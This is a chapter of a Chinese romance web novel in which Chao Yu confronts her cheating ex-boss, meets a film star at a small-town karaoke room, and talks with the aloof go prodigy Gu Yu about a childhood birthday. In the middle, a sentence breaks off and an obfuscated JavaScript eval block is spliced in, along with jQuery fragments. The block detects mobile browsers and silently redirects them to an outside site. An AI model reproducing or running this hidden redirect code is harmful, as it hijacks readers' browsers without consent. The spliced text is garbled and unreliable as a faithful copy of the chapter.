18. 第三件小事02

作品:《她忘记的七件小事

    辜屿没再说话,抱着书离开。


    许辰懿打着呵欠从客房出来:“你终于下班了?我都睡了一觉了。”


    周旭尧的公司强度不低,时有加班。但晁雨是被亚轩操练出来的人,一边打着吊瓶一边改设计方案的事她也不是没做过。


    所以现在对她来说,还好,十分还好。


    更何况周末还能双休,她和许辰懿去录像厅看电影。


    这次是一部港片,《青蛇》。


    张曼玉在电影里饰的小青顶着张狡黠脸蛋,学着人走路的模样搞笑又风情万种。


    从录像厅出来,许辰懿就学着那么走,晁雨差点没笑死。


    两人去雩溪边吹风,许辰懿买了两瓶荔枝味汽水,一撩自己的长卷发:“这人呐就是不能找跟自己差距太大的,人妖殊途,就是这么个理。”


    晁雨倚在雕了竹节的石围栏上,望着碧潋的溪。


    夜风吹得人太舒服,许辰懿赖在溪边不肯走,把一瓶快见底的汽水吸得哔哔响,咬着吸管刷手机。


    突然咬牙切齿一声:“靠。”


    其实晁雨从她那一声里,就已经听出肯定是明恒宇的事。


    她不想看,探头过去只是惯性作祟。


    照片上是明恒宇和一个女同事的合影,两人去广州出差,站在小蛮腰下合影,明恒宇一贯的温文儒雅,女同事脸上带一点青涩。


    晁雨对这个女同事有印象。


    刚进公司不久,长相恬静,才华横溢。


    许辰懿气得差点没把汽水瓶摔了:“你说这老贱人怎么专找一个类型坑啊?他就喜欢找这种看起来乖的、文静的,来给他自己打掩护。你说他要是没点想法,出个差他发什么私人合照啊?”


    晁雨默默看着那张照片。


    许辰懿搡她一下:“气傻啦?”


    晁雨:“用一下你手机。”


    她已经退出亚轩的群了,拿许辰懿手机找出那位女同事的手机号,直接拨过去:“你好,我是亚轩设计一部的前员工晁雨,Olive,不知你有没有印象。”


    对方表示有。


    她言简意赅地说:“明恒宇是同。我这里有一张照片,是他和部门实习生在酒吧走廊乱搞,我可以发给你。”


    “大老板保他,怕这事在一些保守的甲方那里造成不好影响,所以这事闹不大。但明恒宇如果敢拿以前对我的伎俩,再去对付其他女生,他找一个,我就戳破一次。”


    晁雨挂了电话,许辰懿冒出星星眼:“太牛了我的姐!我还生怕你忍气吞声,给我气出乳腺增生。”


    晁雨把手机递还给她。


    她问:“你还真有那老贱人乱搞的照片啊?”


    “有。”晁雨把照片发给许辰懿,让她转发给女同事。


    许辰懿一看:“我的乖乖。”


    BarMo极富格调的包厢里,黑胡桃木模拟欧洲中古风的舷窗,沉如琥珀的灯光下,明恒宇和一人耳鬓厮磨在一起,脸看不清楚,熟知明恒宇的人却能一眼看出那是他。


    许辰懿道:“那天那种情况下,你还记得拍照啊?”


    晁雨点头。


    明恒宇摆明了要坑她。她武器不多,抓起一件是一件。


    许辰懿:“你就一直把这照片存自己手机里啊?”


    “怎么?”


    “那你每次打开相册,不就能看到这张照片,你不堵得慌啊?”


    晁雨耸了下肩。


    “得。”许辰懿对她做了个两手抱拳的姿势:“姐,你就是人间清醒本姐,咱别的话没有,就是一个大写的RESPECT(尊敬)!”


    接着突然许辰懿一揉眼:“我看错了吧?”


    晁雨的心脏又一突突,许辰懿这反应,她简直要以为明恒宇来洵州了。


    循着许辰懿视线望过去,空无一人。


    她问:“谁?”


    “宋宛颜!”许辰懿的声音拔高三度:“刚看电影的时候我不还跟你说,现在有个小花特像小曼玉么!宋宛颜!”


    晁雨知道宋宛颜。


    在新一代小花里她算口碑很好,有流量也有演技。一部爆火出圈的古装片里她饰花蕊夫人,明珠如月,红桥隐隐,她随芙蓉而舞的一段,在微博上被转疯了。


    她不是那种模版化的美人,一张脸小巧,猫颜,有明晰的下颌线,并不接受公司安排去做微整。很有九十年代港星的味,娇而不妖,反而有种利落的飒爽。


    她跟辜屿合拍过杂志封面。


    许辰懿:“我肯定是看错了。宋宛颜来洵州干嘛?你们洵州明星开会啊?”


    接着晁雨的手机响了。


    晁雨看了眼,接起来:“喂。”


    晁二柱的一道气声传来:“姐!快来!”


    “你做贼呢?”


    “不是啊我们在溪边唱歌,你猜谁在这?”晁二柱其实已经出了包厢了,他也不知自己为什么一直要捏着气声讲话,跟有狗仔盯梢他似的。


    “总不会是宋宛颜。”


    “……你怎么知道?”晁二柱愣了。


    于晁雨而言并不难猜。如果许辰懿没看错,那宋宛颜出现在这里的唯一可能,就是来找辜屿。


    晁雨心里说不上什么感觉。


    宋宛颜来找辜屿?


    辜屿从不是什么平易近人的人。宋宛颜来找辜屿,意味着什么?


    晁二柱接着道:“宋宛颜这段时间不是在上海拍戏么?一部民国文人戏,有点瓶颈,经纪人带她来洵州找感觉。她居然看到狗哥也在这,就说约着一起唱个歌,放松下。”


    “狗哥让我给你和辰辰姐打电话,叫你们一起。”


    “叫我们?”晁雨问:“为什么他让你叫我们?”


    晁二柱一愣:“那宋宛颜来洵州,肯定是狗哥请客嘛。狗哥主场,就叫你们一起咯。”


    “他为什么不自己叫?”晁雨说完就把电话挂了。


    许辰懿在一旁拿眼瞄她:“心情不好?”


    许辰懿把这归咎为晁雨因明恒宇的事,心情不好。


    晁雨跟她顺着溪边步道慢慢走:“如果你对一个跟你差距很大的人,有了感觉,你怎么办?”


    许辰懿怔了下:“哦,你说刚才的电影?姐们儿你话题怎么这么跳啊。”


    她想了想道:“睡了他。”


    晁雨:“……啊?”


    许辰懿一本正经:“你想啊,如果跟白蛇似的,非要跟许仙在一起,那肯定没有好下场。还不如想开点,非要在一起干嘛啊?把他睡了,开心一段时间后踹了完事,一点不耽误自己修炼飞升。我跟你说,什么荷尔蒙什么心动都是美丽的肥皂泡泡,你跟这个人真实地相处一段,保证去魅。”


    许辰懿没吃过猪肉,但见过一万头猪跑,讲起来夸夸其谈。


    正当这时,晁雨的手机又响。


    一个陌生号码。


    晁雨在夜风里很轻地掖一掖唇角。她没有辜屿的手机号,但她第一直觉,那是辜屿。


    她接起来:“喂。”


    “喂姐,是这样姐,我们在二环边新开发一楼盘,有商铺有住宅,有兴趣考虑一下么姐?”


    晁雨自己在脑子里,给来电人安插了个这样的画外音,操着塑料普通话。


    为什么?怕真是推销电话的话自己失望?


    她来不及想清这一刻幽微的情绪,对方声线磁沉:“过来么?”


    有了晁雨脑中幻想出的塑料普通话做对比,这一声如月光坠地。


    晁雨呼吸很轻地一滞。


    许辰懿在一旁用嘴形问:“谁啊?辜屿弟弟?咱去啊干嘛不去,看明星诶!”


    晁雨对着手机,一时没说话。


    手机里沉默蔓延,直到她感觉对面的辜屿忍不住想要再开口的时候。


    她用若无其事的语调道:“行啊,那去待一会儿。”


    -


    挂了电话。


    溪还是那条溪。夜还是那个夜。


    刚才她跟辜屿在电话里的沉默,从物理时间上来说不过几秒,就连许辰懿这样的人精都没看出端倪。


    她看了许辰懿一眼。


    许辰懿:“怎么?我脸上沾东西了?”


    她默默摇头。


    要是把这些比中学生初恋还幽微的细节、隐秘的感觉,讲给许辰懿听,许辰懿会不会觉得她神经了?


    会不会觉得她遭受双重打击后郁郁不得志,开始幻想国民天菜弟弟?


    到现在连她都拿捏不清自己是不是想多了。


    毕竟宋宛颜来找辜屿,这是否意味着什么?


    洵州老城不仅有很老式的录像厅,还有很老式的练歌房。依溪而建,通常有着“快活林”、“白月光”等极富年代感的名字。


    门前是弯折的霓虹灯,拗出名字的字样。灯管暗一截,名字就少个笔画。


    这里甚至点歌都不是电子触屏,而是一张张打印出的纸页点歌单。


    走到“快活林”外,许辰懿拉住晁雨:“你等等等等。”


    又从包里掏出支口红补妆:“毕竟是去见女明星,一生倔强的职场女人从不服输。”


    问晁雨:“你要么?”


    晁雨摇摇头。


    两人按晁二柱发来的包厢号,走进去。


    包厢里很暗,只有一个球形射灯一闪一闪,打出或蓝或白的氛围光。宋宛颜众心捧月的坐在正中,平时闹腾的男孩们此时安静如鸡。


    辜屿倒没跟宋宛颜坐在一处。他坐沙发拐角,拿着手机不知在打什么字,听到许辰懿和晁雨进门的动静,眼神淡淡地扫过来。


    但没说话。


    倒是一向胆子大的马超,主动承担起社交任务:“这是许辰懿,辰辰姐。这是晁二柱的姐姐,晁大柱。”


    晁雨骂他:“滚。”


    这时辜屿才开口,声线压得低,却清晰报出她的名字:“晁雨。”


    宋宛颜明艳地笑起来,跟她们打招呼。


    许辰懿在晁雨旁边倒吸一口凉气:“我滴个老天奶。”


    宋宛颜因不削腮帮子,在镜头里一直被诟病脸大,连带着整个人都显壮。


    现在看来,“上镜胖十斤”定律真不是虚的。宋宛颜怎么可能脸大?紧致的下颌线显得脸那般小巧,头骨完美得像3D建模。


    她跟“壮”或“胖”一类的词八杆子打不着关系,坐在那里像个过分精致的娃娃。可见要扛住严苛镜头的女明星,跟普通人真正有壁。


    许辰懿拉着晁雨坐下了:“你们怎么都不唱歌?来练歌房看MV来了?”


    晁雨可太知道这帮小兔崽子了。


    平时闹腾得凶,那都是窝里横。


    这会儿有仙女镇场,大气都不敢喘。


    许辰懿拿过点歌本:“那我抛砖引玉,给大家热个场。”


    她十分大方,在职场上历练出来了,搞活气氛是她的拿手好戏。大人物也见过不少,当着女明星什么的,她丝毫不怵。


    她一开口,众人傻了。


    因为她,吊着嗓子唱了首黄梅戏。


    高亢的嗓音跟传统的黄梅戏那叫一浑然天成,戏剧效果拉满。


    众人愣了两秒,都笑疯了。


    这是许辰懿的绝活,靠这不知签下多少单子。她一开场,包厢氛围顿时松快下来,就连宋宛颜都唱了首《后来》。


    能听出她并不擅长唱歌,但声线好听极了。


    众人集体鼓掌,她笑着道谢,又翻点歌本点了首。


    长成这样还丝毫不骄矜,真真令人喜欢。


    接着她蒙上口罩戴上棒球帽,去接了个工作电话。经纪人在酒店里等她,一边处理工作,电话估计是经纪人打来的。


    好巧不巧,这时轮到她点的歌。


    许辰懿一听这前奏:“靠。”


    宋宛颜点的歌是——《爱情的模样》。


    许辰懿悄悄瞟晁雨,晁雨还和刚才一样坐着,静静望着屏幕。


    直到前奏放了一半,晁雨忽然拿起话筒。


    晁二柱大惊:“大家快捂耳朵。”


    众人哄笑。


    晁雨瞪他一眼。


    这事吧也怨不了晁二柱。毕竟小时候,男孩们最怕的事并非晁雨收缴他们的零花钱,那只是要钱。


    他们最怕晁雨唱歌,那是要命。


    晁雨拿着麦对晁二柱说:“姐姐早就练出来了好吧。”


    许辰懿在旁边很轻地摁了下晁雨的手,用嘴形说:“没必要。”


    晁雨笑了笑,用嘴形回她:“这有什么。”


    三,二,一。


    晁雨跟着歌词的指示箭头开始唱:


    [你是巨大的海洋,


    我是雨下在你身上。]


    这是有年亚轩年会,晁雨唱过的歌,明恒宇抱着木吉他在她身后弹。


    那年人力资源总监要求,每个部门的负责人必须出节目。明恒宇不擅唱歌,便想了这个办法。


    那时两人已开始“交往”,在公司很低调,不过看在知情人眼里,算是一场官宣。


    许辰懿记得很清楚,亚轩有钱,一场年会扮得跟小型演唱会似的。晁雨一袭白裙,明恒宇抱着吉他坐在她身后的吧椅,淡蓝模仿鲸鱼游弋的舞台光,落在两人身上。


    当时的许辰懿:我又相信了。


    只不过,后来发生的事让许辰懿:爱情是狗屁。


    此时晁雨握着话筒轻唱,淡淡的,恬静的,跟当年年会上一样。


    许辰懿又是一个大写的RESPECT(尊敬):连唱这首歌都没问题了,这姐果真是人间清醒姐。


    辜屿一直坐在角落握着手机打字。


    直到晁雨唱歌,他抬眸。


    晁雨和许辰懿来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583095|143130||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    得晚些,坐在沙发侧边。晁雨望着屏幕,从他的视角,刚好能望见晁雨的背影。


    屏幕的光把晁雨的背影涂得虚化,歌词里正唱:


    [你是谁,教我狂恋,


    叫我勇敢地挑战全世界。]


    晁雨现在唱歌真不错了。倒不是说她多有技巧额,而是恬淡的声线配上歌词,有种故事般的叙述感,很容易把人拉进情绪里去。


    唱完一段,宋宛颜打完电话进来。


    晁雨笑着把话筒递过去。


    宋宛颜:“你唱你唱。”


    “你唱吧。”晁雨扬唇道:“刚才没人唱,我才瞎唱着玩。”


    马超夸她:“雨姐现在唱歌可以啊,怎么练出来的?”


    “大学时有次跨年,学校办晚会,我们班实在没人,我说那我练练吧,应该能练出来。”


    “……谁给你的勇气?梁静茹吗?”


    “忘了。我记得以前,有人说过我唱歌还可以来着。”


    马超大惊,望向四周:“谁?哪个叛徒?”


    众人都笑,晁雨也笑得挺开心的。


    宋宛颜唱歌时,她拍拍许辰懿的肩:“我去趟洗手间。”


    “我陪你么?”


    “不用。”


    晁雨没去洗手间。


    她钻出练歌房,倚在依溪而建的石围栏上吹风。


    她在许辰懿面前装出一副若无其事的样子。其实也不是装,而是她希望自己就是若无其事,人嘛不就是这样,装着装着也就成真了。


    在手机里存照片。在练歌房里唱《爱情的模样》。


    这些行为,像往伤口上撒酒精。


    不是为了自虐,而是为了漤着那些血肉模糊的腐肉,让它们尽快新生。


    只不过背后那些又涩又疼的感觉,她想自己消化。


    心脏泡在酒精里,像一颗发皱的青梅一样收缩,扯着人的五脏六腑,让人恨不得跟着佝偻起背。


    背后一阵脚步。


    晁雨嗅觉灵,耳朵也灵。


    那是辜屿。


    辜屿走到溪边来,跟晁雨隔开根石柱,背倚在石围栏上。


    有人随便往那一站就像帧电影截图,这样的情形下他好像很适合抽一支烟。但他不抽烟,所以身上有种很洁净的味道。


    哪怕他今晚喝了酒,那酒味也是很洁净的。


    像山间冻过的、掺了雪水的溪里,撒了瓶陈年的醽醁。


    他吹着夜风静静呼吸,好像身边的晁雨不存在似的。


    晁雨也就收回视线不再看他,复又望着眼前潺潺的溪。


    吹够了风,她回练歌房前,说了句:“生日快乐。”


    关于小时候是谁夸她唱歌还不错这件事。


    她想起来了,是辜屿。


    辜屿什么时候过生日这件事,没人知道,连百度百科里都没写。


    他在洵州也没过过生日。


    唯有一次,晁雨去小院里找毛秀珍。


    那天停电了,游戏房里空荡荡,毛秀珍却是个闲不住的,去找牌搭子老姐妹们闲聊。


    小院里只有辜屿一人,借着天光,埋头填一张表。


    晁雨瞥了眼。


    那应该是一张出国比赛的申请表,写着辜屿的生日,七月二十四日。


    三天前。


    辜屿抬起头,冷冷看她一眼。


    晁雨后退半步:“我不是故意看的。”


    “不过,毛奶奶怎么不给你过生日呢?”


    辜屿已埋下头去继续填表。


    晁雨想了想:“按说我该送你个礼物,但我没钱。这样吧,我给你唱一个。”


    她扯着嗓子唱了遍生日快乐歌。


    舔舔嘴唇问辜屿:“你觉得怎么样?你觉得不行的话我重唱一遍,应该能好点。”


    辜屿抬起头,带着一种被鹅啄了的表情,蹙眉看着她,两秒,然后说:“还可以。”


    辜屿对这件事记得很清楚。


    特别特别清楚。


    因为辜屿这人从小就倔,看着冷,事实上也的确冷,这样的性格谁都不服。那是他第一次意识到,原来自己也会选择屈服。


    屈服在这位姐的歌声下。


    晁雨咧嘴一笑:“是吧?我也觉得还可以。你看你从北京来的就是见过世面,不像二柱子他们不识货。”


    唱歌的事很快被晁雨忘了。


    她就记着她每年得帮辜屿过生日。因为没人帮辜屿过生日。


    每年辜屿生日这天,她会鬼鬼祟祟溜进毛家小院,塞张纸片进辜屿房间,上面写着「生日快乐」。


    那时候洵州没什么正儿八经的贺卡,她在作业本上写过、卷筒纸上写过、晁正声的烟盒上写过。


    辜屿一次都没搭理过她。


    后来她离开洵州,这事渐渐就被她忘了。


    这时她想起来了,又说一遍“生日快乐”。辜屿就在她旁边,仍是淡淡的没反应。


    待她走开后,身后一声笑,很低,沉沉地压着夜风。


    她猛一下回头:“你笑了?”


    妈呀,辜.面瘫王.屿笑了?


    她发誓许辰懿真给她看过这样的链接——《论神秘的东方围棋天才是否患有面瘫且神秘的东方针灸术能否解决》。


    但辜屿的一张脸仍是淡而沉,黑T被溪边的夜风吹得猎猎。


    晁雨在原处站定。


    她今晚也喝了酒,半杯,以她的酒量也不至于多。她觉得她是被辜屿身上的酒气熏的,所以头有些晕乎乎。


    以至于她开口问:“你为什么叫宋宛颜来?”


    这问题问出来她都觉得有些可笑。


    从她进包厢、见到宋宛颜的一刻,如果她要把自己和宋宛颜放在同一架天平上比较,她会觉得这件事很可笑。


    她并不自卑,但那是一种在日常生活中的进退有度。而宋宛颜和辜屿是一类人,他们光芒万丈,他们众星捧月。


    他们或是妖,或是仙,凭自己的道行,游离于琐碎而无聊的人间之外。


    晁雨觉得自己一定是喝多了才这么问。


    辜屿反问:“谁说是我叫她来的?”


    晁雨:“那你为什么答应她来?”


    辜屿看着她。


    晁雨隔着段距离,虚虚指着他:“她喜欢你,你没意思的话就不该吊着人家。这样的男的,天诛地灭。”


    “过。”


    晁雨怔了下:“啊?”


    “她喜欢过我,表白过,我拒绝了。她现在有男朋友,感情很好。”辜屿问:“你都不看娱乐新闻的么?”


    晁雨又一怔。


    她还真不看。


    也许她的愣怔还来自于,她第一次听辜屿说这么长的句子。


    跟辜屿也喝多了似的。


    一定是这样。因为辜屿接下来问:“那你呢?”